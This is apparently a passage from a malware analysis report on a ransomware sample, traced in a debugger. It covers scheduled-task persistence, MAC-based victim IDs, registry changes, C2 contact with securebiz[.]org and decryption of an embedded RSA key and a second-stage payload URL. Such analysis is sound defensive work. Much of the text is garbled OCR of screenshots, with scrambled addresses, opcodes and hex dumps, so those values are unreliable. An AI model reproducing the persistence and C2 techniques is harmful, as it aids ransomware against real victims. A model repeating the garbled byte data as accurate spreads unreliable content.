|2: Lesp+a] FREFFEEE
| 3: [esp+8] 00000258
| 4: [esp+C] 03745250

>

@Woumo1l  YHDup2 YBDup3  WHDumps  WHDumps @ warchi  Pellocls ) st A e
Figure 54
The amount of time the Task Scheduler will wait for an idle condition to occur is set to 5

minutes via a function call to lldleSettings::put_WaitTimeout:

52 push edx 5 = =z edu:il | X87SW_C1 0 XB7SW_CO © NB7SW_ES O
50 push eax | XB7SW_SF 0 xB7SW_P 1 Xx875wW_U (4]
88 08 mov_ecx,dword ptr ds:[eax [ ——

| €a11 dword ptr ds:fecx:28] _ - v

Defauilt (stdcall) .
1 '[m, DI4CTECE
[ 2:

esp+d] 03IGF7394 L"PTEM"
3: [esp+8] 00000258

4: [esp+C] 03745250

- TEXT:001505C5 wininet_dump. exe: $D5C5 #D5CS

=
Wouwo1  Yhoump2 WhDurp3  UHoump4  UWoumps @ wah1  bellocls ) st e B
Figure 55

ITaskDefinition::get_Triggers is used to get a collection of triggers used to start the task:

4 i F4 52 push edx = | XB7SW_C1 O XB7SW._CO O X87SW_ES O
! i F5 50 push eax | XB7SW_SF 0 xB7SW_P 1 Xx875wW_U (4]
t i F& 8B 08 -lmv‘ec‘s-d:wd L %ﬂturl [ ——
- FF 5124 €all dword ptr ds:[ecx 24 v =1
Tl 5 | Defat (stdcal) = |5 2] unlock
- 1: [esp] 034C7308
ptr [ecx+24]=[tasl . 6C4ELFO8]=T. chd. 6C4ED S0 | 2: [esp+4] O135ES7C
. 3: [esp+8] 00000258
EH 7
. TeXT:0015D5F8 wininet_dump. exe: $D5FE #0578 I e
Woump1 | 48 2 | 3 4 5 Bwachi  belloals ) st R
%% Dump Dump Dump &% Dump 1 = r 0135E074 | 0135E57C

Figure 56
The executable creates a new trigger for the task using the ITriggerCollection::Create
method (0x1 = TASK_TRIGGER_TIME):

- 52 push edx NE/STATUSWOra UU2u
. €7 45 €O 00 00 00 00 mov dword prr ss:febp-4o0f,0 X8TSW_B O XB7SW.C3 O x87SWLC2 O
. A 01 push 1 X87SW_C1 0 XB7SW.CO O XB7SW_ES O
. BB 08 mov ecx,dword ptr ds:[eax] MBTSW_SF O XBTSW_P 1 xB87SW_U o
s 50 “5,"" 2ax - dstL 3 | —_—
. FF 51 28 1 dword ptr ds:[ecy:28 v
! » 4 . iy = Default {stdcall) *||5 [ unlock
T — L —— e e 1: [esp] D34C7558 =
dword ptr [ecx+28]=[taskschd.6C4E1358]=taskschd. 6C4FAADD I2: esgﬂ 00000001
3 esn+51 0135E588
o 4: [esp+C] 00000258
+ TEXT: 00150616 wininet_dump. exe: D616 #DE16 s
o 4C7558
@oump1  @oump2  @oump3  Moumps  @oumps @ watchi  Irellocas Y stuct Hﬂ“‘m’ mﬁﬁ.
Addrace | uaw Tacrrr i ~llo135E074 | D135E588

Figure 57
There is a Querylnterface call with a parameter set as CLSID {B45747E0-EBA7-4276-9F29-
85C5BB300006} — IID_ITimeTrigger:
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mov dword ptr ss:fiebp-24f,0
push wininet_dump.2250EC

ecx,dword prr ds:[eax]
push eax

xB7Statusword 0020

XE7SW_B 0 x57S5W.C3 O x875w L2 O
XB7SW_C1 0 xBFSW.CO O xB7SW_ES O
XBTSW_SF 0 xB7SW_P 1 x87SW U O

| co1spes2
00150633
0015D63A
0015063F
00150641

52
€7 45 DC 00 00 00 00
&3

002250EC wininet_dump., 00225 0EC

- TexT: 00150642 wininet_dump.exe: D642 D642
Whoump1  YlDep2  WSDurp3  §Dump4

Figure 5 |
The identifier for the trigger is set to “Trigger1” using the ITrigger::put_Id function:

[v=lLocals 4 Struct

0015071A XB7SW_C1 O xB7SW_CO O xB7SW_ES O
00150718 XBTSW_SF 0 XBTSW_P 1 x87SW.U 0
0015D71C dword p i

4] 036F7394 L Triggera”
00000258

03745250
-TexT: 001507 1E wininet_dump. exe: SDT1E #DT1E

Wowot UDump2 UEDump3 UWDump4  UHDumps @ wakchl  ellocals 4 Stwct

Figure 59

The ransomware sets the date and time when the trigger is deactivated by calling the
ITrigger::put_EndBoundary method:

XB7SW_C1 0 XB7SW_CO O x87SW_ES O
XB7TSW_SF 0 XBTSW_P 1 x87SW.U O

=I5 Ei0us

4] 036F72FC L"2030-05-02T08:00:00"
00000258
03745250

-TexT: 00150758 wininet_dump. exe: SDTSE #D7SE

@Woump1  §Hpump2  Hpump3  Woump4  EHoumps @ wetchi  bellocals & Strt

Figure 60
The system time is extracted via a call to the _time64 function:

0000025

Sp+d
esp+8] 03745250
esp+C] 00000000

-Text: 00150778 wininet_dump.exe: SD778 #0778

| W — W~ [ N

Figure 61
The malware formats the system time into a human-readable form using strftime:

push eax XB7Statusword 0020

68 B8 00 35 00 push wininet_dump. 250088 250088 "% XE7TSW_B 0 xX87SW.L3 0 x875WL2 O

BD B5 CO FE FF FF lea eax,dword ptr ss:febp-140] XB7SW_C1 0 XB7SW CO O XxB7SW_ES O

64 50 push 50 XETSW_SF 0 XB7SW_F 1 X87SW_U O

50 push ea:i — L

E8 30 51 01 O net_dump. o |—

- i = - |:|l.Hnd:
S T

i
esp+8 i
esp+C] 036F2D50

. Text:0015D079€ wininet_dump. exe: SD79E #D79E

Woump1  @Woump2 @MDump3  UNDumps  EDumps

@ watch1  Ie-lloclls Y Struct

Figure 62 S
The malicious binary sets the date and time when the trigger is activated by calling the

ITrigger::put_StartBoundary method:

XBTSW_C1 0 xBTSW.CO O xB7SW_ES O
XBTSW_SF O xBTSW_P 1 XxE7SW.U O

_~|[5 =100 unloa

3] 036FT2FC L"2021-10-26T16:24:28"
00000258
03745250

-TexT:001507F2 wininet_dump.exe: $D7F2 #DTF2

@oump1  Ypump2 WMDump3  WHoump4  @oumps @ watchi  Iv-llocals 4 Struct

Figure 63
IActionCollection::Create is utilized to create and add a new action to the collection (0x0 =
TASK_ACTION_EXEC):
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00150841 push edx xB7Statusword 0020
mov dword ptr ss:febp-s4f,0 NETSW_B O XBTSW.C3 O x87SW.C2 O
push 0 NB7SW C1l 0 xB7SW. CO O xB87SW_ES O

mvher_x,wd prr ds:[eax] ABTSW_SF O XBTSW_P 1 XB7SW_U o
push eax

€7 45 BC 00 00 00 0O
6A DO
88 08

00150848
(Lo0150 840

.TeXT:D015DB4E wininet_dump. exe: SDE4E #DB4E

oup1  PDump2 Dol W4Dumo4  PhDumos @ watchi  fellocsk ) Stuct
Figure 64

There is a Querylnterface call with a parameter set as CLSID {4c3d624d-fd6b-49a3-b9b7-
09cb3cd3f047} — IID_IExecAction:

®|| DO15DBEA push edx X/STATUSWOrD UUZU
mov dword ptr ss;febp-25§,0 X87TSW_B 0 XxB7SW.C3 O XB7SW.CZ2 O
push wininet_dump.22511C MBTSW_C1l 0 xB7SW_CO O xB7SW_ES O

mher_x,mrd ptr ds:[eax] XBTSW_SF O xBTSW_P 1 XB7SW_U O
push eax

2

€7 45 D8 00 00 00 00
68 I1C 51 22 00

88 08

-text:0015DB7A wininet_dump.exe: $DBTA #DBTA

@hoump1  @lDump2 @MDump3 WDump 4

Figur .
The path of the executable is set to the copied file using the IExecAction::put_Path method:

00000258
Arzeents | Asvaenen

D015D8B6 push edx edx:L"C | xB7SW.C1 0 XB7SW.CO O XB7SW.ES O
00150887 push eax | x87SW_SF 0 xB87SW_P 1 XB7TSW_U o

00150 BEE mov_ecx,dword ptr ds:[eax [
1 3¢ -d prr s [eex w|* —
Pl e ~|[s 10 unodt
esp-4] 0362094 L C:\\Users\ Jll\\Appoata\\
| esp+8] 00000258
f esp+C] 03745250

-TexT:0015D8BA wininet_dump.exe: SDEBA #DBBA

ourp1 | YWoump2  UW0ump3  Poumps  Woumps @ wethi  pellocals P st

0135E078
0135E07C | 03745250
D135E080 | 00000000
0135£084 | 0135E288
""" D135E088
D135E08C | 03690260
0135E030 | 1FO4001B
""" - D135E094 | 03731020 | L™C:\\WINDOWS' \Registration\\R0OD000000001T
""" o i 0135E098 | 03731018
---- s “| p135E05C | D36900CO
""" D135E0AD | 06040002
- masensa l naannnn

036F2094 |
036F2DA4
036F2DB4
036F20DC4
036F20D4
036F2DE4
036FIDF4
036F2E04
036F2E14

[
00
00
oo
00|61
o0
00
00
oo
o0

838888888
8382238333
8388888888
83828888
8888888888

036F2E24 0o

Figure 6
The “~Task” argument is added by calling the IExecAction::put_Arguments function:

001508FD
DOLSDBFE
001S5D8FF

XB7SW_C1 0 XB7SW_CO O XSTSW_ES O
XB7SW_SF O xB7SW_P 1 xB7SW U 0O

[esp+4] 036F7394 L™ --Task”
es5p+8] 00000258

p+C] 03745250
. text: 00150901 wininet_dump. exe: $D901 #D301 Le= -

| #8ome:  Whompz Wowes owps Womws Buwani el swuc
Figure 67

Finally, the malware uses the ITaskFolder::RegisterTaskDefinition method to create the task
called “Time Trigger Task” (0x6 = TASK_CREATE_OR_UPDATE):

push & xB7Statusword 0020

push dword ptr ss:febp-10f X87SW_B 0 XB7SW.C3 O xX87SWC2 O

movdqu xmmword ptr ds:[eax],xmmD XB7TSW_C1 0 xB7SW._CO 0O XxB7SW_ES O
XBTSW_SF O XB7SW_P 1 XB7TSW_U o

036F72FC L"Time Trigger Task"
034C7308
00000006

.Text:0015090A wininet_dump.exe: SDDA #DS0DA
@oump1  @Hoump2  UHDump3  Moumps  Woumps B watchi  Ir-lloes 4 Stuct

Here is the newly created scheduled task in Windows Task Scheduler:
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6/2021 - After triggered, repest every 5 min

< >

General Triggers Actions Conditions Settings History (disabled)

When you creste a task, you must specify the action that will occur when your task starts. To change these actions, open the task property pages using the Properties command.

[ action Details
' Start » program C\Users [l AppDatat Local Bele2222-2531-4075-930F- Te8T243acck 2\ wininet_dump.exe --Task

Figure 69

The ransomware launches itself with the following parameters “—~Admin IsNotAutoStart
IsNotTask” (IsNotAutoStart = malware didn’t run based on the Run registry key, IsNotTask =
malware didn’t run based on the scheduled task):

. 50 push eax : = E XB7SW_C1 0 X87SW_CO O XB87SW_ES 0
. €7 84 24 CC 01 00 00 05 O0{mov dword ptr ss:Qesp+iccl,s XBTSW_SF 0 XB7SW_P 1 X87SW_U O
- €7 84 24 BC 01 00 00 FO_3F| %1dﬂorddptr :;s Es:-LE% ,'..'I"-"-':'__.'Ji.;;‘.:ii:'?l. it ord e
15 20 €3 21 00 7 dword ptr ds:[<aShellExecuteExw> v =
' 5 | Default (stdcal) » (5 ][] Unloc
- 1: [esp] O135E794
[dword ptr [0021C320 <wininet_dump. E eExw»]=<shell3z. EXECUTEEXW> 2: [esp+4] 00173141 ewininet_dump.EntryPoint>
3: [esp+8] O000000A
. || #: [esp+c] oooooooo
< Text: 00164603 wininet_dump.exe: $1A6D9 #1A6D9 |
s - @ & D135E794
9% Dump 1 ¥%% Dump 2 %% Dump 3 %% Dump 4 % Dump 5 Watch 1 [==| Locals & Stuct 5| 00174141 |wininet_dump.ERtryPoint
el . St - ooy
Address | | 3 0000000
0135E794 00|00 00 00 00|00 00 00 OO 03745250

0135E7A4 037313F9 | "00"

O135E7B4 00

EEE
o

88p8

88

23

8§

88

g3

g

8

g

8

g

ESS

g8k |

L5 Al R

00 & 0y
O135E7C4 o0 00 00 00 00 it e 1.0 Massrcenn| nmensean
Address | Hex
D135F2BE (43 0O ?!m“m?!ﬂﬂ?!oﬂz' WF.5.
0135F2CE [ 5C 0O 00|5C 00 44 DO|65 00 73 0O 8. 5.
0135F2D8 (6B D0 74 O0|6F DD 70 OD|5C 00D 77 DO|69 00 6E 00 k.T.0.p. R B
DL35F2E&(69 00 6E DO|65 00 74 OO|5F 00 64 00|75 00 6D 00 i.n.e.T._.d.u.m.
0135F2F8 'FOUD0 ZE DOLES 0078 DONES 00 00 00114 00 00 00| BLLLeNie
Address | Hex ﬁll
0135E900 2D OO0 2D 00|41 OO &4 OD|ED 00 69 00|GE 00 20 00 -.-.A.0.m.T.m, .
OL3SE9ED (49 OO0 73 DO|4E 00 &F 00|74 00 41 OO|7S 00 74 OO0 I.S.N.O.T.A.U.T.
0135E9F0 | GF OO0 53 00|74 00 61 O0|72 00 74 0O|20 DO 49 00| 0.5.t.2.r.T I
013SEADC |73 00 4E 0O|6F 00 74 00/54 00 61 DOI73 00 68 00!S5.N.o.t.T.a.5.k.

Figure 70
“—Task“ parameter

We'll only highlight different actions that are performed by the ransomware running with this
parameter without mentioning the same actions as in the case of running with no
parameters.

GetAdaptersinfo is utilized to retrieve adapter information (including the MAC address) for
the localhost:

Dus: eax XB7SW_SF 0 XB7SW_P 0 XBTSW_U o
push es1 e
call dword ptr ds:[<&GetadaptersInfo-] v -
| Defout (stdcal =[5 2] unked

L e "1 [esp] p2o2FEzE
dword ptr [0021C098 <wininet_dump.&GetAdaptersinfo>]=<ipnhlpapi.GetAdaptersinfas 13 mfm ODAFE4B4

| 3: [esp+s] 00000001

= |4 [espsC] 00263278 wininet_dump.00263278

. text:001SE6BI wininet_dump. exe: SEGBI WEGEI | &

= SIS - s —
ool @Yoump?  EYDump3  WhDumps  WhDumps @ wathi  bellocak 7 Stuct JEIRGRERY oanare2s]
Hex

0202434530 30 3A 30(43 3A 32 39{3A 32 35 3A|36 36 34 31|00:0C:29:25:66]1
02D24358|358] 00 AB AB/AB AB AB AB|AB AB EE FE|EE FE EE FE|§.«anaaxax 1bibib

Figure 71

The malware calls the CryptAcquireContextW API in order to obtain a handle to a particular
key container within a cryptographic service provider (0Ox1 = PROV_RSA_FULL and
0xFO0000000 = CRYPT_VERIFYCONTEXT):

19/43



AG/IW_S 3 LEMPLY)  AS/ 1M 3 LEWMMLYJ

DO01SESEB push FODODO0O
DO1SESCOD [+ push 1
OO15E8C2 push 0 xB75tatusword 0000

DO1SESC4H 00 ush o XBTSW_B O XxBTSW C3 0 xB7SWC2 O
0015E8CE 50 ea eu:.dmrd nrr ss-!ibn 1l XxB75W_C1 0 xXB7SW.CO O XB7SW_ES O
DO1SESCY mov byte ptr ss:[febp- XBTSW_SF O XBFTSW.P O XB7SWU O

0015 ESCD 50 5 push eax
< [ — ~[[5 2] 00 urioa

WCryprAcquirecontex

-Text:001SEBCE wininet_dump.exe: SESBCE WEBCE

@oump1  @Mpump?  @oump3  @loumps  @loumps @ wathi  Ieellocaks Y Struct

msoma 51 GI ?2 55 ?3 ?3 35\. 20 25 ?3 2( 20 H} 61 63 ddress: s, mac

Flgure 72
The binary creates a handle to a CSP hash object using the CryptCreateHash APl (0x8003 =
CALG_MDS5):

® | DOISEBEC s0 push eax X8/ STATUSWOrd UUUy
& || 0015 EBED 6A 0O push 0 XB875W_B O NB7SW C3 O xB7SW.C2 O

o | oo1sESEF A 00 push o XB7SW_C1 0 XB7SW_CO O X87SW_ES O

e 0015EEFL 68 03 B0 00 00 push 5003 XB7SW_SF 0 XB7SW_P O X87SW.U O

ol 001SEBFE FF 75 E4 push dword ptr ss:febp-1c)

b : ; - ‘[<acrypicreatenas! vl

. - — 5 | Defauit (stdcal) = |5 |20 unlock

espr4] 00008003
s 00000000

p+8,
esp+C] 00000000

.text:001SEBF9 wininet_dump.exe: SEBF9 #EBF9
@oump1  @MDwmp2  @MDump3  PEDumps  BHoumps @ watch1  [eellocals 7 Struct

002501D8 64 B4 72|65 73 73 3A[20 25 73 2C|20 &0 61 63|Address:
anseniEal2a 30 38 72lna nn an nnlse o 39 calan Aan Aan anl s se

Figure 73

W5, mac
W

The ransomware hashes a buffer that contains the MAC address extracted above via a
function call to CryptHashData:

O015E918 push xB75tatusword 0000
D015E91D push dword ptr ss:febp+l XB75W_B O XB7SW.C3 0 x875WC2 O
DO01SE920 cnmme ea.x.dmrﬁ ptr ss:febp+s] [ebp+8] XB7SW_C1 0 XB7SW_CO 0 xB7SW_ES5 O
00158924 €ax:"00 | xB7SW_SF 0 XB7SW_P O XB7SW_U
OO1SES25S h dwr

. Text: 0015E928 wininet_dump.exe: SE928 #EI28
Woump2 @Moump3  Woup4  @SDumps

Flgure 74
The MD5 hash value is extracted by calling the CryptGetHashParam routine (0x2 =
HP_HASHVAL):

uB75tatusword 0000

XB7SW_B O NBTSW.C3 O x87SwC2 0O
XB7SW_C1 O xB7SW CD O xB7SW_ES O
XB7SW_SF O xB7SW_P O xB7SwW.U O

S Text:0015E9A2 wininet_dump. exe: SE9AZ #E9A2

ﬂmi PSoump2  WSDump3 Y Dump4
Lm

HKC F?FI}

Figure 75
A new thread is created by calling the CreateThread API:

§%Dump 5 U\mdn Pe=llocals 4 Struct

AGS NS 3 LEMMLY S ADIIW_F I LEEPLY S
XBTTW_4 3 (EmpTy) XB7TW_5 3 (EmpTy)
XBTTW_6 3 (EmpTy) XBTTW_7 3 (Empty)

:a?statuswd

o xa7su €3 O XB7SW.C2 O

:!?M.'I. 0 XB7SW.CO 0 xB7SW_ES O
XB7SW_SF O XB7SW_P 0 XB7SW.U O

o 0164864 5C 32 26 00 pu:: wininet_dimp. 26335C
0

push wininet_dump.263270

push wininet_dump. 16E690

push G61A8000

mov byte ptr ds:[279225],d1
mov edx.dunrd ptr ss.ieswsr.‘

push
may 279226] ,d1
ﬂrm

espra
hTa] Goiccess wininet_dump. DO16E690
7 ! 7
. text:DO16ASEC wininet_dump, exe: $1ABBC #1ABEC LesptC] 00263270 wininet_chmp. 00263270

Woump1  @Woump2z @oump3  @Woumps B Dumps

FE EE FE|EE FE EE FE |EE FE EE FE|EE FE EE FE
02CCF800|EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE

Figure 76
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Thread activity — sub_16E690

The RegOpenKeyExW function is used to open the
“Software\Microsoft\Windows\CurrentVersion” registry key (0x80000001 =
HKEY_CURRENT_USER and 0xFOO3F = KEY_ALL_ACCESS):

50 push eax xXBTStatusword 0000

68 3F 00 OF 00 push FOO2F X87SW_B O XxB7SW.C3 O XxB87SW.C2 O

6A 00 push 0 XB7SW_C1 O xB7SW_CO O XxB7SW_ES O

65 Fi 4 00 push wininet_dump.24FE0S 24FEDS: XBTSW_SF O XBTSW_P 0 XETSW_U o

68 D1 OO 0O B0 us; w;; —— — E B =

FF 15 28 €0 21 00 rods: Q0pEnKeyExW> bl RS (wiree
| Defaut (stdcal) *||5 (][] unlock

3: ies p+r8] 00000000
4: [esp+C] OOOFOO3F

£ 7] F esp] 0000001
prr [0021C028 4R EQOPENKEYEXW> 32.ReQUpEnKeyExwW> ‘2 esp+4] 00Z4FE0S L“Software'‘\Microsoft'\wind

- TexT:0015C6C2 wininet_dump. exe: SCE6C2 #C6C2

oump1  @MDump2  @WDump3  WDump4 @ watch1  Pellocals 4 Struct

D8 | 0024FENS | L"Sof twar e\\M1crosoft),\windows\\Currentvers
00000000 :

ASCIT -~

DO24FEDS (83 00 &6F 00|66 DO 74 00(77 00 61 00|72 00 65 00 ! R % PO 0B69A224
i o e fD G016 90 6 O (22 00 B0 1 Eeprs s 00175000 |return to wininet_dump.00175000 from wining
0024FE28|66 00 74 00|5C 00 57 00|69 DO 6E 00|64 00 6F 00|f. W.i.n.d.o.
ki bt vl i onEhanclindBiend B 0016£690 | wininet_dump. 0016EE30

———mne SLo L opre Weom Rk biekin By ke | 00173F7C | return to wininet_dump.00173F7C From winine
DO24FE48(6E 00 74 00|56 00 &5 0O Fd { V.e.r.z.1.o. 00000000
0O0ZAFESS|6E 00 00 0051 00 73 00|73 00 48 00|65 00 6C 00[n...5.y.s.H.e.1. nReacAre

Figure 77
The process is looking for a value named “SysHelper”, which doesn’t exist at this time (this is
different from the one in figure 34):

A o o ey L S e

| push
i.? 45 F8 ‘ID:: egg).Mrd ptr_ss:feb) XB7TW_2 3 (Empty)  x87TW_3 3 (Empty)
C7 45 FO 04 00 00 00 mov dword ptr cc:febp-1 E 4 REZTM A A CEwpry)  XS7TM.5 3 LEepTyd
50 | push eax XxB7TW_6 3 (Empty) XB7TW_7 3 (Empty)
BD 45 FO | Tea eax,dword ptr ss:febp-100
C7 45 F4 04 00 00 00 | mov dword ptr ss:jfebp-cl,4 xB75tatusword 0000
50 | push eax METSW_B O XB7SW.C3 0 x875W.C2 O
6A 00 | push 0 XE7SW_C1 0 XBYSW.CO 0 xB7SW ES O
68 S5C FE 24 00 | push wininet_dump. 24FESC 24FESC! XB7SW_SF 0 X87SW_P O X87SW.U 0O
FF 75 FC I ush dword ptr :15 febp- 1] . .
FF 15 3C €0 21 00 dword ptr <8R egqueryvalueExn:] w —
= ~|[s [5]0] unlocs
+ [esp!
ERegQueryvalueExws 32.RegQueryvalueExw= : [espré

D024FESC L"SysHelper”
3: lesp+8] 00000000

Sk 4: [esp+C] DBE9AZ1E
-text:D01SCEF3 wininet_dump.exe: SCEF3 #C6F3

Woumpt  Woump2  @Moump3  @oumps  Boumps @ watch1  Ieelloesks Y stuct
II -

72 00 65 00| B.o0.fF.t.w.
’3UU6FUU"I\"| (I‘

53l 00 6F 00|66 DO 74 00|77 0O 61 OO
D0Z4FELS SC llU 40 JU 6‘3 (J"J 65 IJJ '2 IJ’J EF Ul\

Figure 78
The entry from above is created, and its value is set to 1 using the RegSetValueExW API:

— — U
8D 45 F8 Yea eax,dword ptr ss teno E XBTTW_E 3 (Empty)  XBTTW_7 3 (Empty)
C7 45 FB 01 00 OO0 OO0 mov dword ptr :..(eDD 88,1
50 push eax xBTFStatusword 0000
BA 04 push 4 X8TSW_B O XxB7SW_C3 O x8TSW.CZ2 O
6A 00 push o XB7SW_C1 0 xB7SW_CO O XB7SW_ES O
68 E 4 00 push wininet_dump. 24FES 24FESC: XBTSW_SF O XBTSW_P 0 XxB87SW_U o
FFE 75 EC Ipush dward ptr - bp- 4 1 i —————
FF 15 1€ €O 21 00 call dword ptr ds: wneqselvuuzinr» vl p——
5 |Defeult (stdcal) * |5 2] uniock
ptr [D021C0IC .&RegSeTval LeExN> 32.] UEEXW> 2: lesp+d] 0O24FESC L"SysHelper"
3: esp+8] 00000000
4:
< TeXT:0015C7T 25 wininet_dump.exe: SCT25 #C725 EXEICE DOUOLE
Wourp!l @HDump2 @hoump3  UWoump4  Eloumps M watthi  bellocals  § st 0024FESC | L"SysHelper”
0B69AZ0S | DODOOOODO
ey ASCEL : ~ | oseaazoc | oooooons
OBG9A220 iDL 00 0O 00|04 03 00 00|CC FB €9 OB D4 EE 16 00 meeers.- ioi.0=. . DBEhAS1!
0863423090 E6 16 0090 ES 16 00|20 22 26 00|00 00 00 00| .=...®..p28 : i
] |y el i e 0BEIAZ14 | DOO0D004

Figure 79
The executable tries to locate a file called “bowsakkdestx.txt” in the “C:\Users\
<User>\AppData\Local” directory, which doesn’t exist on our machine:

L 68 C4 FD 24 00 push wininer_dump. 24FDC4 24FDC4: X87SW_C1 0 xB7SW_CO O XB87SW_ES 0
o sn 85 FC FE FF FF lea eax,dword ptr ss:febp-104) XBTSW_SF O XB7SW_P 0O xB7SW_U O
e« push eax = wesg 1 eax:"C:
g FF 15 30 €3 21 00 call dword ptr ds:[<aPathappendAs ) S— =
. ! = - , | Default (stdcal) w (|5 1310 Unlock

1= FIIDT 08694124 ’E-“Msm”ﬁnﬂﬁi
ptr [D021C330 - &Pat 2 . 2: [esp+4] 0024FDC4 “bowsakkd SEXT
3:

] D016EE90 wininet_dump.001E6EES0

-TEXT:0015C539 wininet_dump. exe: $C539 #C539 e

@Woump1  UHoup2 UHDue3  WNDups  WNoumes @ watchi  beellocal P Stuct

Figure 80

There is a function call to InternetOpenW similar to the one presented in figure 23 (with the
same user agent). The binary performs a GET request to the C2 server securebiz[.Jorg with
the parameter pid = MD5(MAC address):
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push 0 AT/ IM_T 3 LSMWLY]  AS/IML 3 LEWMLY )

push 0

push 0 x875tatusword 0000

?usn 0 XB7SW_ B O XB7SW.C3 0 XB7SWC2 O
24 98 0% 00 00 ea eax,dword ptr ss:fesp+39s] XBTSW.C1 O xB7SW._CO O xB7SW_ES O

push eax XB7SW_SF 0 xB7SW_P O x87SW_U 0

bobimmmmmn 3@ | DOLEEFH3
D016E945
O01EED47
O016ES49

8888

DO16E948
DO16ESS2
DO16ES53

ALoB8EERE

push ebx_

DBGEIABEE L" Ilttp ffsecur!hz nrg,!ﬂsg
HMB 00000000
+TEXT: 0016E954 wininet_dump.exe: S1E954 #1EI54

Dumllhuuwz %Dump3  W4Dump4 U DumpS

3 b4 : 0
és ot < & g 88007300 ..0. "f”' 5 08634230 | DO16E6I0 | wininet_dump. 0016E630
o o0 72 Sole--a i 9 08654234 | DOL6EES0 | wininet_dump. DDLEEES0
e e et ol o 08634238 | 00263270 | wininet_dump. 00263270

* 0869423C | DD00OOOO

41 00 44 DOl42 o0 . . 0BE3A240 | 00010000

45 00 30 00|44 00 39 - -C.9. 08694244 | 00000000

44 00 38 00|33 00 33
0OBE3AZ48 | 00000004
24 00 37 0045 00 o0 00| 4.7.E. SRS ar | Ann

Figure 81
The response from the server is read using the InternetReadFile function:

® || DO1EEIED s0 push eax X/ STATUSWOrg uuuy
0016E961 68 00 04 00 00 push 400 XB8TSW_B O NB7SW.C3 O xB7SW.C2 O
OOLGEIEE BD 84 24 90 01 0O 0O Tea eax,dword ptr ss:Besp+130j XB7SW_C1 O XB7SW.CO 0 xB7SW ES O
OO01GEIED 50 push eax XBTSW_SF 0 XB7SW_P 0 x87SW.U 0O
0016EIEE push edi
16E96F | 15 AB C3 21 g s Er dsi[<aInternetReadFiles

- TeXT:D016ES6F wininet_dump.exe: $1E96F #1E96F
nounu Whoump2  UHoump3  WMDumo4  EMoumps B8 watch1

bellocals 4 Struct

Figure 82
The binary creates the file called “bowsakkdestx.txt” using fopen:

XBTSW_SF O XB7SW_P

0024FDDS wininet_dump.0024FDDS
0016E620 wininet_dump.0016E690
0016E630 wininet_dump. 0016EE30

-text:0016E9B6 wininet_dump.exe: $1E9B6 #1E9B6
Woump1  @Demp2  @Dump3  EEDump4  BDumps 8 watch

bellocals 4 struct

DB694230 [ 0O16EE90 mmnet_dm‘oazszeso
90 | wininet_dump. 0016E630

0024FDDS 00 00 00|72 00 00 DO[38 61 34 35]37 37 64 63|N. - . Ba4577dc nasassaR m\:‘as'm wininar dume ANIEIITA

Figure 83
The file is populated using a function call to fwrite (the C2 server was down during our
analysis, so we emulated the network communications using FakeNet):

sh eax XB7SW_ B O xBYSW C3 0 xBFSWCZ O
ea eax,dword ptr ss:fesprisa] XB7SW.C1 O XB7SW.CO O x87SW_ES O
push 1 XBFSW_SF O xBYSW P O XxB7SW U 0O

push eax
> |[5 [£]0] unod

50
80 84 24 90 01 00 0O
BA 01

ninet_dump. 172

. TEXT:0016E9DE wininet_dump.exe: $1E90E #1ESDE
ﬁou-nnl Yhoump2  UDump3  UDump4

Pellocals & Stuct

Q\mdu

¥4 Dump 5

3C 60| 5C_3ZE 00 0A &4 3E 00 04| ehtm
0BEIAICE x_u_ss_u BC 65 3E 46|61 6B 65 4E[65 74 2D 4E -rt1t‘}9Fakmiet-N

Figure 84

An example of a real response can be seen at https://app.any.run/tasks/900f626a-2bf6-48b2-
85f9-2328f2b2d0d2/ and contains 2 elements: “public_key” and “id”. The malware wants to
extract the “public_key” value from the response:

OO16EAZE push nlﬂlnet ~dump.2544F 3 2544F4: XB7SW.C1 0 XB7SW.CO O xB87SW_ES O
DOLEEA3Z 5 push e XB7SW_SF 0 xB7SW_P 0 XB7TSW_U o
xor esi esi [ —ame e
T 1 3 ninet_dump. 17 3CF v

espr4] 002544F4 "{)\,"public_key\,":\""
esp+8] 0016E690 wininet_dump.00L6EE90
esp+C] DO1GEGI0 wininet_dump.DOL1G6EEI0D

-text:D016EA3E wininet_dump.exe: $1EA3E #1EA3E

ﬂml @owmp2 Poump3  @Woump4 PDumps

wininet_dump. 0016E690
wininet_dump. 0016E690
wininet_dump. 00263270

. 0 |EC 3& 0D 0A &4 3E 00 08 . <he,
0B69A3CE w € G5 3E 46|61 6B 65 4E|65 74 20 4E|<tiTlesFakener-N OBESAIIC
OBE9ASDSE |47 3C JF 74(69 74 6C 65|3E OD DA 3C|2F 6B 65 61|G</titles..</hea ARFAsnan

Figure 85
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https://app.any.run/tasks/900f626a-2bf6-48b2-85f9-2328f2b2d0d2/

Even though the C2 server was down, the binary comes with a hard-coded RSA public key.

The file from above is deleted in any case:

Iu‘ll dword ptr dss[<sneleterileas]

push eax eax: "C:

ptr [D021C14C

-Text:0016EAS2 wininet_dump.exe: S1EAS2 #1EAB2

w4

Figure 86

- Sl Sl s [P [T CH A L [P

« [[5 =] unlock
1 OBE9AZ users m“l\\ko:
23 esp~4] O016EE30 h‘n1net ump. 0016EE90
3: [esp+8] 0016EGS0 wininet_dump.0016E690
4: e597€ 002532?0 wininet. dump 00263270

Using multiple XOR operations with 0x80, the ransomware decrypts the RSA public key in
PKCS1 format, a victim ID, and a URL that leads to another malicious file at

http[:]//securebiz[.]org/files/1/build3.exe:

@ || DO15EFCS B0 34
OO15EFCS 40

® | DOLSEFCA 3D 97 cmp 2ax, a7

0O15EFCF ~ 7C EF i1 wininet_dump. 15EFCO
4z 1nc edx

01 30 xor byte ptr ds
inc eax

00 00 00

.T

M [
]

: [ecx+eax] ,80

edx=0

LText:0015EFDL wininet_dump.exe: $EFD1 #EFDL

4% Dump 1 4y Dump 2 W4 Dump 3 4y Dump 4 24 Dump 5 3 watch 1 [x=] Locals

# struct

7GATGES0 |

0BEE&2AZ14 | 0O000000

Address

OB69AZ18 (00263270

02CBAOSC |20 20 2D 2D (2D 42 45 47|49 4E 20 50|55 42 4C 49|H---- BEGIN PUBLI
02CBAOGD| 43 20 4B 45(59 2D 2D 2D|2D 2D 5C S5C|6E 4D 49 49
02CBAO7O| 42 49 6A 41(4E 42 &7 GB|71 68 6B 62 (47 392 77 30
02CBAOBO | 42 41 51 45|46 41 41 4F |43 41 51 38(41 4D 49 49
02CBAO90 | 42 43 67 4B(43 41 51 45|41 75 35 37 (74 46 6C &7
02CBADAD |62 74 4C 41(48 4F 78 6C(45 79 6F 37|61 5C 5C GBE
